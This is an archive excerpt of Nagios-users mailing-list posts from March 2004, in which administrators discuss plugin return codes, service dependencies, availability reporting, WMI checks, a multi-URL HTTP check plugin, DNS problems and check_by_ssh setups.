Andreas Ericsson wrote: > This opens up the field for discussions. If a service isn't answering, should the plugin decide it wasn't able to check the value and return UNKNOWN, or should it assume the service isn't running and return CRITICAL? Perhaps a new return value (USER_ERROR) should be defined? > Service checks that aren't subject to user-error should return > critical when experiencing network problems (no data received, for > instance). > UNKNOWN should only be returned when bad parameters have been passed > to the plugin, or when the files or directories the plugin depends > on are missing. > > Because of a lot of the plugin authors fail to conform to that > standard, nagios has a hard time doing The Right Thing and keeping > users happy at the same time. > > Michael Eck wrote: > > Is there any way to configure a service so that Nagios only > performs the host check when a particular non-OK state is > returned by the service check? For example, I have a service > check that, when in a critical or warning state, the host is > necessarily up (it's an SNMP value), but when in an unknown > state the host may be down. My problem is that Nagios is > performing too many host checks on hosts that are clearly up but > in a non-OK state. I'm either missing something in the check > logic, missing a configuration directive, or Nagios can't do this. > Thanks for the help. > ---- > Michael Eck > Chilitech Internet Solutions > Network Operations Center > 570-323-2166 > http://www.chilitech.net > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and > CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS > when reporting any issue. ::: Messages without supporting info > will risk being sent to /dev/null > > > -- > Mvh / Best regards > Sourcerer / Andreas Ericsson > OP5 AB > +46 (0)733 709032 > andreas.ericsson at op5.se > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null > > ---- > Michael Eck > Chilitech Internet Solutions > Network Operations Center > 570-323-2166 > http://www.chilitech.net > -- Mvh / Best regards Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matt.pounsett at cira.ca Tue Mar 23 15:39:44 2004 From: matt.pounsett at cira.ca (Matt Pounsett) Date: Tue, 23 Mar 2004 09:39:44 -0500 (EST) Subject: service dependencies In-Reply-To: References: Message-ID: On Mon, 22 Mar 2004, Porus Lakdawala wrote: > What I am looking for is to have SERVICE2 on each host in HOSTGROUP1 be > dependent on SERVICE1 running on the same host and no other. Which, atleast > to my mind, would be the most common case. I think I get what you're looking for here... let me use an example to illustrate what I think you mean: * There are two servers, web1 and web2 in a hostgroup called 'webservers'. * Each web server has an HTTP service, and a WEB_PORTAL service which depends on the HTTP service being up. I take it that, in a single servicedependency statement you'd like to say that, for all hosts in hostgroup 'webservers', service WEB_PORTAL depends on service HTTP from that host only. So that web1's WEB_PORTAL depends on web1's HTTP (and only web1's HTTP), and web2's WEB_PORTAL depends on (only) web2's HTTP. I agree that this seems like the most common case, but unfortunately I don't think this is covered by the servicedependency syntax. Perhaps someone more knowledgeable will correct me if I'm wrong. -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From wcorcor at siue.edu Tue Mar 23 15:49:05 2004 From: wcorcor at siue.edu (Bill Corcoran) Date: Tue, 23 Mar 2004 08:49:05 -0600 Subject: I: Reporting - Availability In-Reply-To: References: Message-ID: <40604E61.6090903@siue.edu> > did anyone met problems using the Availability CGI (about Reporting) > with Nagios ? > > I have many hosts with 100% Time Undetermined. I got the same thing at first. Try telling the CGI to assume the host is up initially, this fixed the problem for me. I think it has to do with nagios only checking a host if all of the services on that host have failed. -Bill ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Tue Mar 23 16:02:57 2004 From: pla at softflare.com (Paul L. Allen) Date: Tue, 23 Mar 2004 15:02:57 +0000 Subject: freshness checking of passive devices In-Reply-To: References: Message-ID: <20040323150257.31946.qmail@minnow.softflare.net> David Barnett writes: > Or in the script is there a way to check the current time and not > return anything if it isn't between 9 and 5? Since you're doing passive checks, you could cheat. Set up a cron job on the monitoring machine to write passive check results to the pipe outside of working hours. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Tue Mar 23 16:19:14 2004 From: ae at op5.se (Andreas Ericsson) Date: Tue, 23 Mar 2004 16:19:14 +0100 Subject: I: Reporting - Availability In-Reply-To: <40604E61.6090903@siue.edu> References: <40604E61.6090903@siue.edu> Message-ID: <40605572.9090302@op5.se> Bill Corcoran wrote: > >> did anyone met problems using the Availability CGI (about Reporting) >> with Nagios ? >> >> I have many hosts with 100% Time Undetermined. > > > I got the same thing at first. Try telling the CGI to assume the host > is up initially, this fixed the problem for me. I think it has to do > with nagios only checking a host if all of the services on that host > have failed. > Indeed it does. That means no log entries will be recorded unless all services on the host fails. In combination with the fact that Nagios only logs state-changes means that nothing is determined until everything has failed. You should be happy. ;-) > -Bill > -- Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From m.borsani at it.net Tue Mar 23 16:29:11 2004 From: m.borsani at it.net (Marco Borsani) Date: Tue, 23 Mar 2004 16:29:11 +0100 Subject: R: I: Reporting - Availability In-Reply-To: <40605572.9090302@op5.se> References: <40605572.9090302@op5.se> Message-ID: Bill Corcoran wrote: > >> did anyone met problems using the Availability CGI (about Reporting) >> with Nagios ? >> >> I have many hosts with 100% Time Undetermined. > > > I got the same thing at first. Try telling the CGI to assume the host > is up initially, this fixed the problem for me. I think it has to do > with nagios only checking a host if all of the services on that host > have failed. > > Andreas wrote: > Indeed it does. That means no log entries will be recorded unless all > services on the host fails. In combination with the fact that Nagios > only logs state-changes means that nothing is determined until > everything has failed. You should be happy. ;-) If nothing wrong happened, why I did not see 100% of Availability? I think I should have logs with messages about all the Availabilities. Regards Marco ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Tue Mar 23 17:23:15 2004 From: ae at op5.se (Andreas Ericsson) Date: Tue, 23 Mar 2004 17:23:15 +0100 Subject: Check_mrtgtraf In-Reply-To: References: Message-ID: <40606473.40506@op5.se> Run the script manually with the same parameters as nagios does. That should give you a pretty good clue. Mckay, Al wrote: > I am running mrtg to monitor switches and routers on my network. The data is > being compiled on a 5 minute cycle. I am using check_mrtgtraf to monitor for > traffic volumes and notifying when traffic reaches certain levels. I am > getting periodic "No Output!" messages from the check command. I don't > understand how this can be happening since the mrtg and Nagios are both > running on the same server. > > Any help would be appreciated. > > Al McKay > EDS Digital Labs > 800 Tower Drive > Troy, MI 48098 > > ( Phone:+1-248-265-4964 (8-365) > + mailto:al.mckay at eds.com > pager: 866-693-0157 > pager mail: 8666930157 at skytel.com > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -- Mvh Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From al.mckay at eds.com Tue Mar 23 17:11:11 2004 From: al.mckay at eds.com (Mckay, Al) Date: Tue, 23 Mar 2004 11:11:11 -0500 Subject: Check_mrtgtraf Message-ID: I am running mrtg to monitor switches and routers on my network. The data is being compiled on a 5 minute cycle. I am using check_mrtgtraf to monitor for traffic volumes and notifying when traffic reaches certain levels. I am getting periodic "No Output!" messages from the check command. I don't understand how this can be happening since the mrtg and Nagios are both running on the same server. Any help would be appreciated. Al McKay EDS Digital Labs 800 Tower Drive Troy, MI 48098 ( Phone:+1-248-265-4964 (8-365) + mailto:al.mckay at eds.com pager: 866-693-0157 pager mail: 8666930157 at skytel.com ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Tue Mar 23 18:08:39 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 23 Mar 2004 12:08:39 -0500 (EST) Subject: WMI In-Reply-To: References: Message-ID: On Tue, 23 Mar 2004 Matthew.Quinney at hollandandholland.com wrote: > Subhendu, > > Yes. I'm hoping to see whether some scheduled tasks are running - > > Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") > Set colItems = objWMIService.ExecQuery("Select * from Win32_Process",,48) > > How far have you got - maybe I could help...? > I have the template working for logical disk space. I am not using the winmgmts:\\ moniker but the SWbemLocator so I can specify different credentials for different hosts if necessary. Otherwise it assumes your local account has all the necessary privileges on every host of interest. Let me clean up some option handling and I'll forward the template over to you. FYI: you probably noted that Win32_ScheduledJob cannot enumerate Task Scheduler... bummer. -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jeff.vier at tradingtechnologies.com Tue Mar 23 18:42:22 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Tue, 23 Mar 2004 11:42:22 -0600 Subject: New Module IDEA In-Reply-To: References: <5118AFA1-7866-11D8-AEC8-000A9569B402@evilbucks.com> <1079565779.7327.4511.camel@localhost> <1079720466.9088.110.camel@localhost> <719F07CF-79D7-11D8-9C57-000A9569B402@evilbucks.com> <1079724274.9088.131.camel@localhost> <1079978975.9088.236.camel@localhost> <4203EADC-7C2E-11D8-A05B-000A9569B402@evilbucks.com> <1079981142.9088.253.camel@localhost> Message-ID: <1080063742.27687.53.camel@localhost> On Mon, 2004-03-22 at 19:17, Josh wrote: > I love the work-around idea you've got going there. Can we do that? Here is the new version of the plugin. A few little bug fixes, and now, you can append a -A or --checkall argument and it will parse all URLs (not stopping on bad ones) and write any bad urls to a log file defined by -B/--bad-url-file (defaults to /usr/local/nagios/var/bad_url_log, which you can change in the script via the DEFAULT_BAD_URL_FILE variable) Now you just have to have an event handler email you the contents of the BAD_URL_FILE (note that it won't exist if there was only one bad URL!) upon w/c/u states and you're good to go. I'm sorry it's forced to do a double-emailing, but I can't see a better way to do it and not have to email on every check failure (thus ignoring max_check_attempts, notifications_enabled, etc). You might experiment with making its service's notifications_enabled set to 0, and ONLY sending out the the email via the event handler, then you'll get all the bad URLs in an email only. In theory. I think. :) Something to consider: If you're going to run multiple 'check_http_many' services, you will probably want to unique-ify your BAD_URL_FILE variable that so they don't fight. Maybe in your command definition set it to, for instance, command_line $USER1$/check_http_many /path/$ARG1$ -A -B /path/bad_url_log.$ARG2$ -H someserver.domain.com and pass something unique in each service def's ARG2 Let me know if you need help with the event handler. > On 22-Mar-04, at 10:45 AM, jeff vier wrote: > > That doesn't help us, though. I can't have the plugin email you on its > > own and still adhere to the notification_interval - it's either one or > > the other (and thus either it emails you on every check (except all-OK > > ones) OR it nagios handles it and you only get the one line of info). > > There's no way the plugin knows the states of the service it is being > > called to watch, so there's no way it can only email you only when > > nagios would have emailed you (does that make sense?) > > > > A good work around option might be something like this: > > - The check runs through *all* URLs > > - The first baddie is returned in email with a note like '+3 more' or > > something (if there is more than one) > > - the plugin writes the extras to a log file > > - configure an event handler to send the log file to you separately. -------------- next part -------------- A non-text attachment was scrubbed... Name: check_http_many Type: text/x-sh Size: 7237 bytes Desc: not available URL: From Matthew.Quinney at hollandandholland.com Tue Mar 23 18:53:30 2004 From: Matthew.Quinney at hollandandholland.com (Matthew.Quinney at hollandandholland.com) Date: Tue, 23 Mar 2004 17:53:30 +0000 Subject: WMI In-Reply-To: References: Message-ID: Sg, Yes I had worked that out. How typical of Microsoft to only implement something 50% !! I look forward to looking at your templates, M Subhendu Ghosh 23/03/2004 17:08 To Matthew.Quinney at hollandandholland.com cc nagios-users at lists.sourceforge.net Subject Re: [Nagios-users] WMI On Tue, 23 Mar 2004 Matthew.Quinney at hollandandholland.com wrote: > Subhendu, > > Yes. I'm hoping to see whether some scheduled tasks are running - > > Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") > Set colItems = objWMIService.ExecQuery("Select * from Win32_Process",,48) > > How far have you got - maybe I could help...? > I have the template working for logical disk space. I am not using the winmgmts:\\ moniker but the SWbemLocator so I can specify different credentials for different hosts if necessary. Otherwise it assumes your local account has all the necessary privileges on every host of interest. Let me clean up some option handling and I'll forward the template over to you. FYI: you probably noted that Win32_ScheduledJob cannot enumerate Task Scheduler... bummer. -- -sg _____________________________________________________________________ This e-mail has been scanned for viruses by the uuNet Internet Managed Scanning Service - powered by MessageLabs. -------------- next part -------------- An HTML attachment was scrubbed... URL: From srineer at protectionservices.com Tue Mar 23 19:52:46 2004 From: srineer at protectionservices.com (Rineer, Scott R.) Date: Tue, 23 Mar 2004 13:52:46 -0500 Subject: Resolve IP address Message-ID: <7AD83B0CADEA3B4D89619C04723D5CB801A3FB9C@scicvomail.easternind.com> I have been looking in the FAQ and Google all day for this (and the Docs) Can Nagios use name resolution to find a host or does it have to use an IP address ? Ex: if I want to monitor a Workstation PC. Its IP address is going to change on the next boot (DHCP) ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Tue Mar 23 19:58:16 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 23 Mar 2004 13:58:16 -0500 (EST) Subject: Resolve IP address In-Reply-To: <7AD83B0CADEA3B4D89619C04723D5CB801A3FB9C@scicvomail.easternind.com> References: <7AD83B0CADEA3B4D89619C04723D5CB801A3FB9C@scicvomail.easternind.com> Message-ID: On Tue, 23 Mar 2004, Rineer, Scott R. wrote: > > > I have been looking in the FAQ and Google all day for this (and the > Docs) > > Can Nagios use name resolution to find a host or does it have to use an > IP address ? > > Ex: if I want to monitor a Workstation PC. Its IP address is going to > change on the next boot (DHCP) > > yes - you can put hostnames in address field of the host definition. -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jhmartin at toger.us Tue Mar 23 20:03:04 2004 From: jhmartin at toger.us (Jason Martin) Date: Tue, 23 Mar 2004 11:03:04 -0800 (PST) Subject: Resolve IP address In-Reply-To: <7AD83B0CADEA3B4D89619C04723D5CB801A3FB9C@scicvomail.easternind.com> References: <7AD83B0CADEA3B4D89619C04723D5CB801A3FB9C@scicvomail.easternind.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 The answer is plugin-specific, but I believe they all support FQDN's. - -Jason Martin On Tue, 23 Mar 2004, Rineer, Scott R. wrote: > > > I have been looking in the FAQ and Google all day for this (and the > Docs) > > Can Nagios use name resolution to find a host or does it have to use an > IP address ? > > Ex: if I want to monitor a Workstation PC. Its IP address is going to > change on the next boot (DHCP) > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.3.5 (GNU/Linux) Comment: pgpenvelope 2.10.2 - http://pgpenvelope.sourceforge.net/ iD8DBQFAYIn3l2ODWuqVSBMRAu9xAJ46NrtlpdnW0zVATTUAc+odFag/XgCgh9ei 5z3/9L4UfVVL6AoQLvU5v54= =mIEf -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rwhuff at charter.net Tue Mar 23 20:26:38 2004 From: rwhuff at charter.net (Ron Huff) Date: Tue, 23 Mar 2004 11:26:38 -0800 Subject: [Fwd: auth/auth help] Message-ID: <40608F6E.3040701@charter.net> I'm resending this because I have yet to recv any reply...I don't think my question is too odd...and I can't believe that everyone else just getting what they expect from the authenticated cgi displays...Please, read below the system is RHE2.1 (tho I can't imagine it matters)... Thanks, Ron Huff -------- Original Message -------- Subject: [Nagios-users] auth/auth help Date: Fri, 19 Mar 2004 13:05:44 -0800 From: Ron Huff To: nagios-users at lists.sourceforge.net I've implemented nagios 1.1 and plugins 1.3.1 + Indiana University plugins...I currently have a small subset of the eventual network under monitor (~125 devices)...I recently turned on the CGI authentication/authorization and found the documentation to to be clear and the process simple. However, I find the documentation (in cgi.cfg) to be fuzzy at best for control thru the cfg variables, and I find I don't know what to expect. For example: I have an authenticated 'user', NOT a contact and in the cfg file I turn on authorized_for_all_services for this user...nothing else. When accessing the statusmap.cgi I get no display, which is what I expect. When I try 'Status Overview for All Hosts', I get the msg that I can't have it, which is also expected...then I go to 'Status Detail for All Hosts', and it shows me everything!!!??! What gives?!? ...is there more/better documentation on these .cfg file variable...is this a bug? Thanks, Ron Huff (also connecting thru ucdavis.edu) ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ndressler at dinmar.com Tue Mar 23 19:37:05 2004 From: ndressler at dinmar.com (Norm Dressler) Date: Tue, 23 Mar 2004 14:37:05 -0400 Subject: Host assumed to be up? In-Reply-To: <79ff14323e10c411a64afa4703fd86b8@fpott01.dinmar.com> References: <79ff14323e10c411a64afa4703fd86b8@fpott01.dinmar.com> Message-ID: <5cbf247d0711c411a64afa4703fd86b8@fpott01.dinmar.com> Just wanted to close this off -- my problem was that in my generic_host template, I had checks_enabled set to 0. I am using Nagmin to do the configuration and I think it is set to 0 by default and I didn't catch it. I still need to bring down a server to see what it does but I think this will solve my problem. Norm -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net]On Behalf Of Norm Dressler Sent: Monday, March 22, 2004 1:45 PM To: Robert Nelson; nagios-users at lists.sourceforge.net Subject: [Nagios-users] RE: Host assumed to be up? The machine was not responding to pings in any way -- the DSL link was down so I would have thought it would be indicated as 'down'. I'll take a closer look at it and post some more config info once I have access to the monitoring station again. We are doing some upgrades to it right now. Norm -----Original Message----- From: Robert Nelson [mailto:rnelson at windchannel.com] Sent: Monday, March 22, 2004 2:29 PM To: ndressler at dinmar.com; nagios-users at lists.sourceforge.net Subject: RE: [Nagios-users] Host assumed to be up? > -----Original Message----- > From: Norm Dressler [mailto:ndressler at dinmar.com] > Sent: Monday, March 22, 2004 9:04 AM > To: nagios-users at lists.sourceforge.net > Subject: [Nagios-users] Host assumed to be up? > > > In my Host Details view, even though a server is down, it's > showing as > green. The services are showing properly that the server is down. > > In the Status Information field it says "Host assumed to be > up". I have > check-host-alive assigned to every server. What am I missing? > > Norm Norm, The "check-host-alive" is a ping command. Does your machine still respond to pings, even though all the services are down? If need be, change the check command to check_ssh, check_http, whatever the Service check is using. Rob Nelson Network Engineer Windchannel Communications M: 919-538-6326 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op?ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rnelson at windchannel.com Tue Mar 23 20:47:38 2004 From: rnelson at windchannel.com (Robert Nelson) Date: Tue, 23 Mar 2004 14:47:38 -0500 Subject: check_dns problems Message-ID: > > Do you have query logging enabled on the DNS servers and > can see the > > relative timing of the requests? > > Do not know, I'll check on that tomorrow I've done further research, and the general consensus around the office is that FreeBSD sucks and no-one knows how to configure it except the guy who left ;) Probably will be redoing the servers soon, given a spare hour or so sometime. In the meantime, I've set up a "test" host that's another DNS server I can rely on, to see if it has similar problems. If I didn't mention it earlier, btw, there's another DNS server on our network and it works fine - running RHLinux, of course. It's not as heavily burdened as the others, though, which is why I set up the "test" host. We'll see how it works. Just trying to figure out what setting in FreeBSD could cause this or needs tweaked for quicker response times. The servers are P3 something-or-others and are barely used after 5pm, since all our clients are 8-5 businesses. Rob Nelson Network Engineer Windchannel Communications M: 919-538-6326 ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From arnoldc at mcmservice.com Tue Mar 23 22:01:48 2004 From: arnoldc at mcmservice.com (Arnold Cano) Date: Tue, 23 Mar 2004 15:01:48 -0600 Subject: check_by_ssh question Message-ID: <1080075708.4744.7.camel@localhost.localdomain> Has anyone implemented indirect host and/or service checks using only check_by_ssh? I'm currently using nrpe but I am investigating a more maintenance friendly scenario. My thoughts are that by basing checks off of check_by_ssh for windows machines it would also make maintaining the client configuration and plugins easier because of the ssh server allowing shell access? Cygwin perhaps? I realize the initial setup will require the public keys and null passphrase to be setup but that seems worth it for the security and ongoing maintenance. Am I missing anything? Is there a better way? Thanks, Arnold ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matt.pounsett at cira.ca Tue Mar 23 22:52:48 2004 From: matt.pounsett at cira.ca (Matt Pounsett) Date: Tue, 23 Mar 2004 16:52:48 -0500 (EST) Subject: check_by_ssh question In-Reply-To: <1080075708.4744.7.camel@localhost.localdomain> References: <1080075708.4744.7.camel@localhost.localdomain> Message-ID: On Tue, 23 Mar 2004, Arnold Cano wrote: > allowing shell access? Cygwin perhaps? I realize the initial setup will > require the public keys and null passphrase to be setup but that seems > worth it for the security and ongoing maintenance. Am I missing > anything? Is there a better way? I'm not using check_by_ssh for any windows servers, since the only things I need to directly check on them are remotely-accessible services (smb and so forth).. however, I am using check_by_ssh extensively with all of our unix servers. It seemed to me to be the best way to do things, since all methods require *some* work on the client machines (installing check scripts, at a minimum), and other methods (such as NRPE) don't provide the same level of security. -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios 